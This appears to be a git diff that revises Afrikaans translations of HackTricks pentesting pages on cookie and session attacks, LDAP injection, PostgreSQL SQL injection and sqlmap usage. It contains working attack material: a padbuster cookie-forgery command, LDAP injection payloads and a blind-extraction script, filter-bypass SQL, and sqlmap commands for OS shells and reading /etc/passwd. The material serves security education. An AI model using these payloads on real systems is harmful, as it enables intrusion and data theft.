### Sessie-fixasie
|
||||
### Sessie Vaste
|
||||
|
||||
In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te teken. As die toepassing nie 'n nuwe koekie toeken by die inteken nie, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer impersoneer. Hierdie tegniek steun op die slagoffer wat inteken met 'n koekie wat deur die aanvaller voorsien word.
|
||||
In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te teken. As die toepassing nie 'n nuwe koekie toeken by inteken nie, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer impersoneer. Hierdie tegniek steun op die slagoffer wat inteken met 'n koekie wat deur die aanvaller voorsien word.
|
||||
|
||||
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
||||
|
||||
|
@ -138,7 +138,7 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sessie-skinking
|
||||
### Sessie Skenking
|
||||
|
||||
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessiekoekie te gebruik. Die slagoffer, wat glo dat hulle in hul eie rekening ingeteken is, sal onbedoeld optrede in die konteks van die aanvaller se rekening uitvoer.
|
||||
|
||||
|
@ -156,7 +156,7 @@ JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede vertoon.
|
|||
|
||||
### Kruiswebversoekvervalsing (CSRF)
|
||||
|
||||
Hierdie aanval dwing 'n ingetekende gebruiker om ongewenste optrede op 'n webtoepassing uit te voer waarin hulle tans geïdentifiseer is. Aanvallers kan koekies benut wat outomaties met elke versoek na die kwesbare webwerf gestuur word.
|
||||
Hierdie aanval dwing 'n ingetekende gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geïdentifiseer is. Aanvallers kan koekies wat outomaties met elke versoek na die kwesbare webwerf gestuur word, benut.
|
||||
|
||||
### Leë Koekies
|
||||
|
||||
|
@ -174,13 +174,13 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
#### Chrome Fout: Unicode Surrogaatkodepuntprobleem
|
||||
#### Chrome-fout: Unicode Surrogaatkodepuntprobleem
|
||||
|
||||
In Chrome, as 'n Unicode surrogaatkodepunt deel is van 'n stel koekie, word `document.cookie` beskadig en gee dit daarna 'n leë string terug:
|
||||
In Chrome, as 'n Unicode-surrogaatkodepunt deel is van 'n stel koekie, word `document.cookie` beskadig en gee dit daarna 'n leë string terug:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
Dit lei daartoe dat `document.cookie` 'n leë string uitvoer, wat permanente beskadiging aandui.
|
||||
Hierdie lei daartoe dat `document.cookie` 'n leë string uitvoer, wat dui op permanente korruptering.
|
||||
|
||||
#### Koekie Smokkeling as Gevolg van Parsingsprobleme
|
||||
|
||||
|
@ -192,31 +192,31 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
(Kyk vir verdere besonderhede in die[oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die verkeerde ontleding van koekies deur bedieners, veral Undertow, Zope, en diegene wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik af te baken nie, wat aanvallers in staat stel om koekies te vervals:
|
||||
|
||||
* Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
|
||||
* Zope soek na 'n komma om die volgende koekie te begin ontleding.
|
||||
* Python se koekieklasses begin ontleding op 'n spasie karakter.
|
||||
- Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
|
||||
- Zope soek na 'n komma om die volgende koekie te begin ontleding.
|
||||
- Python se koekieklasses begin ontleding op 'n spasie karakter.
|
||||
|
||||
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat staatmaak op koekie-gebaseerde CSRF-beskerming, aangesien dit aanvallers in staat stel om vervalste CSRF-token-koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekienames, waar die laaste voorkoms vroeëre oorskryf. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot outorisasie-omleidings wanneer koekies aan agter-eindbedieners oorgedra word wat vatbaar is vir vervalsing.
|
||||
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat staatmaak op koekie-gebaseerde CSRF-beskerming, aangesien dit aanvallers in staat stel om vervalste CSRF-token-koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekienames, waar die laaste voorkoms vroeëre een oorskryf. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot outorisasie-omleidings wanneer koekies aan agter-eindbedieners oorgedra word wat vatbaar is vir vervalsing.
|
||||
|
||||
### Ekstra Kwesbare Koekie Kontroles
|
||||
|
||||
#### **Basiese kontroles**
|
||||
|
||||
* Die **koekie** is elke keer dieselfde wanneer jy **aanmeld**.
|
||||
* Meld af en probeer dieselfde koekie gebruik.
|
||||
* Probeer om met 2 toestelle (of blaaier) na dieselfde rekening aan te meld met dieselfde koekie.
|
||||
* Kyk of die koekie enige inligting bevat en probeer om dit te wysig.
|
||||
* Probeer om verskeie rekeninge met bykans dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
|
||||
* Kyk na die "**onthou my**" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
|
||||
* Kyk of die vorige koekie selfs werk nadat jy die wagwoord verander het.
|
||||
- Die **koekie** is elke keer dieselfde wanneer jy **aanmeld**.
|
||||
- Meld af en probeer dieselfde koekie gebruik.
|
||||
- Probeer om met 2 toestelle (of blaaier) na dieselfde rekening aan te meld met dieselfde koekie.
|
||||
- Kyk of die koekie enige inligting bevat en probeer om dit te wysig.
|
||||
- Probeer om verskeie rekeninge met bykans dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
|
||||
- Kyk na die "**onthou my**" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
|
||||
- Kyk of die vorige koekie selfs werk nadat jy die wagwoord verander het.
|
||||
|
||||
#### **Gevorderde koekie-aanvalle**
|
||||
|
||||
As die koekie dieselfde bly (of byna) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
|
||||
|
||||
* Probeer om baie **rekeninge** met baie **soortgelyke** gebruikersname te skep en probeer uitvind hoe die algoritme werk.
|
||||
* Probeer om die gebruikersnaam met **bruteforce** te agterhaal. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer, die een behoort aan "**admin**".
|
||||
* Probeer **Padding Oracle** (jy kan die inhoud van die koekie ontsluit). Gebruik **padbuster**.
|
||||
- Probeer om baie **rekeninge** met baie **soortgelyke** gebruikersname te skep en probeer uitvind hoe die algoritme werk.
|
||||
- Probeer om die gebruikersnaam met **bruteforce** te raai. As die koekie slegs jou gebruikersnaam as 'n verifikasiemetode stoor, kan jy 'n rekening skep met die gebruikersnaam "**Bmin**" en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer, die een sal wees wat aan "**admin**" behoort.
|
||||
- Probeer **Padding Oracle** (jy kan die inhoud van die koekie ontsluit). Gebruik **padbuster**.
|
||||
|
||||
**Padding Oracle - Padbuster voorbeelde**
|
||||
```bash
|
||||
|
@ -232,7 +232,7 @@ Padbuster sal verskeie pogings onderneem en sal jou vra watter toestand die fout
|
|||
|
||||
Dan sal dit begin om die koekie te dekodeer (dit kan verskeie minute neem)
|
||||
|
||||
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **user=administrator** sou **wil enkripteer**
|
||||
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **user=administrator** sou **wil enkripteer**.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# LDAP Inspruiting
|
||||
# LDAP-inspuiting
|
||||
|
||||
## LDAP Inspruiting
|
||||
## LDAP-inspuiting
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,21 +8,21 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
- As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
- **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hackerloopbaan** en die onkraakbare wil kraak - **ons is aan die werf!** (_vloeiende skriftelike en gesproke Pools benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## LDAP Inspruiting
|
||||
## LDAP-inspuiting
|
||||
|
||||
### **LDAP**
|
||||
|
||||
|
@ -32,7 +32,7 @@ As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Inspruiting** is 'n aanval wat gemik is op webtoepassings wat LDAP-verklarings van gebruikersinsette konstrueer. Dit gebeur wanneer die toepassing **misluk om insette behoorlik te saniteer**, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proksi, wat moontlik kan lei tot ongemagtigde toegang of data-manipulasie.
|
||||
**LDAP-inspuiting** is 'n aanval wat gemik is op webtoepassings wat LDAP-verklarings vanaf gebruikersinvoer konstrueer. Dit gebeur wanneer die toepassing **misluk om insette behoorlik te saniteer**, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proksi, wat moontlik kan lei tot ongemagtigde toegang of data-manipulasie.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -56,7 +56,7 @@ Byvoorbeeld:\
|
|||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
Jy kan toegang kry tot die databasis, en dit kan inligting van baie verskillende tipes bevat.
|
||||
Jy kan toegang kry tot die databasis, en dit kan inligting van verskeie verskillende tipes bevat.
|
||||
|
||||
**OpenLDAP**: As 2 filters arriveer, voer dit slegs die eerste een uit.\
|
||||
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout uit.\
|
||||
|
@ -135,9 +135,9 @@ password=any
|
|||
* [LDAP Eienskappe](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [LDAP PosixAccount eienskappe](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Blind LDAP Inspruiting
|
||||
### Blinde LDAP-inspuiting
|
||||
|
||||
Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blind LDAP Inspruiting te bevestig:
|
||||
Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blinde LDAP-inspuiting te bevestig:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -166,7 +166,7 @@ Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
|
|||
|
||||
#### **Ontdek geldige LDAP-velde**
|
||||
|
||||
LDAP-voorwerpe **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **hulle almal met geweld te ontsluit om daardie inligting te onttrek**. Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
|
||||
LDAP-voorwerpe **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **hulle almal met geweld te ontsluit om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier vind**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -225,22 +225,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hackingsloopbaan** en hack die onhackbare - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende skriftelike en gesproke Pools benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Indien jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,11 +26,11 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare wil hack - **ons i
|
|||
|
||||
## Netwerkinteraksie - Voorreg-escalasie, Poortskandering, NTLM-uitdagingresponsblootstelling & Uitvoer
|
||||
|
||||
Die **PostgreSQL-module `dblink`** bied die vermoë om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM`-funksionaliteit, maak aksies soos voorreg-escalasie, poortskandering, en NTLM-uitdagingresponsvangs moontlik. Vir gedetailleerde metodes oor hoe om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer [voer hierdie aanvalle uit](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Die **PostgreSQL-module `dblink`** bied die vermoë om na ander PostgreSQL-instansies te koppel en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM`-funksionaliteit, maak aksies soos voorreg-escalasie, poortskandering en NTLM-uitdagingresponsvangs moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer [voer hierdie aanvalle uit](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Uitvoer voorbeeld deur dblink en groot voorwerpe te gebruik**
|
||||
|
||||
Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF-voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te eksfiltreer.
|
||||
Jy kan hierdie voorbeeld [**lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF-voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam te eksfiltreer** van die funksie `dblink_connect`.
|
||||
|
||||
## PostgreSQL Aanvalle: Lees/skryf, RCE, voorreg-escalasie
|
||||
|
||||
|
@ -42,10 +42,10 @@ Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te eskaleer
|
|||
|
||||
## WAF omseiling
|
||||
|
||||
### PostgreSQL String funksies
|
||||
### PostgreSQL-stringfunksies
|
||||
|
||||
Die manipulasie van strings kan jou help om **WAFs of ander beperkings te omseil**.\
|
||||
[**Op hierdie bladsy** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**kan jy 'n paar nuttige String-funksies vind.**
|
||||
[**Op hierdie bladsy** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**kan jy 'n paar nuttige stringfunksies vind.**
|
||||
|
||||
### Gestapelde navrae
|
||||
|
||||
|
@ -70,7 +70,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
Indien jy **navrae** kan hardloop deur hulle **binne 'n string** te stuur (byvoorbeeld deur die **`query_to_xml`** funksie te gebruik). **Jy kan die convert\_from gebruik om die string as heks te stuur en sodoende filters te omseil:**
|
||||
Indien jy **navrae** kan hardloop deur hulle **binne 'n string** te stuur (byvoorbeeld deur die **`query_to_xml`** funksie te gebruik). **Jy kan die convert\_from gebruik om die string as heks oor te dra en sodoende filters te omseil:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -94,7 +94,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
@ -110,6 +110,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat spat, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -70,7 +70,7 @@ Vang die versoek en skep 'n req.txt-lêer
|
|||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### GET Aanvraag Inspruiting
|
||||
### GET Versoek Inspruiting
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
|
@ -79,7 +79,7 @@ sqlmap -u "http://example.com/?id=*" -p id
|
|||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
### Inspruiteer in Koptekste en ander HTTP Metodes
|
||||
### Inspruite in Koptekste en ander HTTP-metodes
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
|
@ -103,7 +103,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Skul
|
||||
### Skulpmes
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -118,7 +118,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Kruip 'n webwerf met SQLmap en outomaties-exploiteer
|
||||
### Kruip 'n webwerf met SQLmap en outomaties uitbuit
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -162,7 +162,7 @@ Onthou dat **jy jou eie tamper in Python kan skep** en dit is baie eenvoudig. Jy
|
|||
| appendnullbyte.py | Voeg gekodeerde NULL byte karakter aan die einde van die lading toe |
|
||||
| base64encode.py | Base64 alle karakters in 'n gegewe lading |
|
||||
| between.py | Vervang groter as operateur ('>') met 'NIET TUSSEN 0 EN #' |
|
||||
| bluecoat.py | Vervang spatiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervang daarna karakter = met LIKE operateur |
|
||||
| bluecoat.py | Vervang spatiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervang daarna karakter = met LIKE operateur |
|
||||
| chardoubleencode.py | Dubbel url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
|
||||
| commalesslimit.py | Vervang instansies soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Vervang instansies soos 'MID(A, B, C)' met 'MID(A VANAF B VIR C)' |
|
||||
|
@ -175,20 +175,20 @@ Onthou dat **jy jou eie tamper in Python kan skep** en dit is baie eenvoudig. Jy
|
|||
| greatest.py | Vervang groter as operateur ('>') met 'GREATEST' teenhanger |
|
||||
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL-kommentaar voor elke sleutelwoord by |
|
||||
| ifnull2ifisnull.py | Vervang instansies soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Omhels volledige navraag met 'n weergawe-kommentaar |
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe-kommentaar |
|
||||
| multiplespaces.py | Voeg meervoudige spasies rondom SQL-sleutelwoorde by |
|
||||
| nonrecursivereplacement.py | Vervang voorafbepaalde SQL-sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", "")) filters |
|
||||
| modsecurityversioned.py | Omhels volledige navraag met 'n weergawe kommentaar |
|
||||
